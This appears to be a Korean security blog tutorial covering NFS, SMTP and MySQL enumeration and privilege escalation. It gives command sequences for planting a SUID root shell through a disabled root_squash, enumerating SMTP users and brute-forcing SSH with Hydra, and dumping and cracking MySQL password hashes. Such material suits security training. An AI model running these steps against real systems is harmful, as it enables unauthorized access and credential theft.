네트워크 서비스 취약점 분석 및 권한 상승: NFS, SMTP, MySQL

네트워크 서비스 보안 감사 개요

네트워크 서비스는 시스템 간 통신과 데이터 공유를 가능하게 하는 핵심 요소이지만, 잘못된 구성은 심각한 보안 취약점으로 이어질 수 있습니다. 본 글에서는 NFS, SMTP, MySQL 서비스의 동작 원리를 살펴보고, 정보 열거(Enumeration) 및 취약점 활용(Exploitation)을 통한 권한 상승 기법을 다룹니다.

NFS(Network File System) 분석 및 활용

NFS 동작 원리

NFS는 네트워크를 통해 파일 시스템을 공유하는 프로토콜입니다. 클라이언트는 RPC(Remote Procedure Call)를 통해 서버의 디렉터리를 로컬 마운트 포인트에 연결합니다. NFSD 데몬은 파일 핸들, UID, GID를 기반으로 접근 제어를 수행하며, 클라이언트가 원격 파일에 대해 로컬 파일과 동일한 작업을 수행할 수 있도록 합니다.

NFS 정보 열거

NFS 서버의 공유 디렉터리를 열거하기 위해 nfs-common 패키지에 포함된 showmount 유틸리티를 사용합니다. 이를 통해 외부에 노출된 마운트 포인트를 식별할 수 있습니다.

# NFS 관련 포트(111, 2049) 스캔
nmap -sV -p 111,2049 192.0.2.10

# 내보낸(Exported) 공유 디렉터리 조회
showmount -e 192.0.2.10

# 로컬 마운트 포인트 생성 및 NFS 공유 마운트
mkdir -p /mnt/target_nfs
mount -t nfs 192.0.2.10:/shared_home /mnt/target_nfs -o nolock

# 마운트된 디렉터리 내 민감한 파일(예: SSH 키) 탐색
ls -la /mnt/target_nfs/user_home/.ssh/

NFS 취약점 활용 (Root Squash 우회)

NFS 서버에서 root_squash 옵션이 비활성화된 경우, 클라이언트의 root 사용자는 서버에서도 root 권한을 유지합니다. 이 구성 오류를 악용하여 SUID(Set owner User ID) 비트가 설정된 실행 파일을 업로드하고, 대상 서버에서 실행함으로써 권한 상승을 수행할 수 있습니다.

# 로컬 공격 머신에서 SUID 쉘 준비 및 업로드
cp /bin/bash /mnt/target_nfs/user_home/root_shell
chown root:root /mnt/target_nfs/user_home/root_shell
chmod 4755 /mnt/target_nfs/user_home/root_shell

# 대상 서버에 일반 사용자로 SSH 접속 후 SUID 쉘 실행
ssh user@192.0.2.10
cd /shared_home/user_home
./root_shell -p

# root 권한 확인
whoami

SMTP(Simple Mail Transfer Protocol) 분석 및 활용

SMTP 및 이메일 프로토콜 개요

SMTP는 이메일 전송을 담당하는 프로토콜이며, 수신된 이메일을 클라이언트로 가져오기 위해 POP3 또는 IMAP 프로토콜과 함께 사용됩니다. SMTP 서버는 발신자 검증, 라우팅, 배달 실패 시 반송 등의 역할을 수행합니다.

SMTP 사용자 열거

SMTP 서버에서 VRFY, EXPN, RCPT TO 명령어가 활성화된 경우, 유효한 사용자 목록을 추출할 수 있습니다. 이는 수동으로 수행하거나 자동화 도구를 사용할 수 있습니다.

# Telnet을 이용한 수동 사용자 존재 여부 확인
telnet 198.51.100.20 25
# 서버 배너 확인 후 아래 명령어 입력
VRFY admin
# 250 응답: 사용자 존재 / 550 응답: 사용자 없음

# smtp-user-enum 도구를 활용한 RCPT TO 방식 자동화 열거
smtp-user-enum -M RCPT -U /opt/wordlists/common_users.txt -t 198.51.100.20

SMTP 서비스 활용 (무차별 대입 공격)

열거된 유효 사용자명을 기반으로, 동일한 호스트에서 실행 중인 다른 서비스(예: SSH)에 대한 무차별 대입 공격(Brute-force)을 시도하여 초기 접근 권한을 획득할 수 있습니다.

# Hydra를 이용한 SSH 암호 크래킹
hydra -l sysadmin -P /opt/wordlists/rockyou.txt -t 8 -f 198.51.100.20 ssh

# 획득한 자격 증명을 통한 SSH 접속
ssh sysadmin@198.51.100.20

MySQL 데이터베이스 분석 및 활용

MySQL 및 RDBMS 개요

MySQL은 관계형 데이터베이스 관리 시스템(RDBMS)으로, SQL(Structured Query Language)을 사용하여 데이터를 구조화하고 관리합니다. 클라이언트-서버 모델을 기반으로 하며, 네트워크를 통해 데이터베이스 쿼리를 처리합니다.

MySQL 정보 열거

웹 애플리케이션 소스 코드 유출이나 기본 자격 증명 사용을 통해 유효한 데이터베이스 접근 권한을 확보한 경우, 스키마와 테이블 구조를 열거하여 민감한 데이터를 식별할 수 있습니다.

# MySQL 클라이언트를 통한 원격 접속
mysql -h 203.0.113.30 -u dbadmin -p

# 데이터베이스 및 테이블 구조 조회
SHOW DATABASES;
USE company_data;
SHOW TABLES;
DESCRIBE employees;

MySQL 취약점 활용 (해시 추출 및 크래킹)

데이터베이스 관리자 권한을 보유한 경우, mysql.user 테이블에서 사용자의 비밀번호 해시를 추출할 수 있습니다. 추출된 해시는 오프라인 크래킹 도구를 통해 평문 암호로 복원될 수 있으며, 이를 통해 운영체제 수준의 접근으로 확장할 수 있습니다.

# MySQL 내부 쿼리를 통한 사용자 해시 추출
SELECT User, authentication_string FROM mysql.user WHERE User='dbadmin';

# 추출된 해시를 파일로 저장 (hash_dump.txt)
# 형식: dbadmin:*A1B2C3D4E5F6...

# John the Ripper를 활용한 MySQL 해시 크래킹
john --format=mysql-sha1 --wordlist=/opt/wordlists/rockyou.txt hash_dump.txt

# 복원된 평문 암호를 활용한 시스템 SSH 접속
ssh dbadmin@203.0.113.30

태그: nfs SMTP MySQL SUID Enumeration

6월 8일 18:52에 게시됨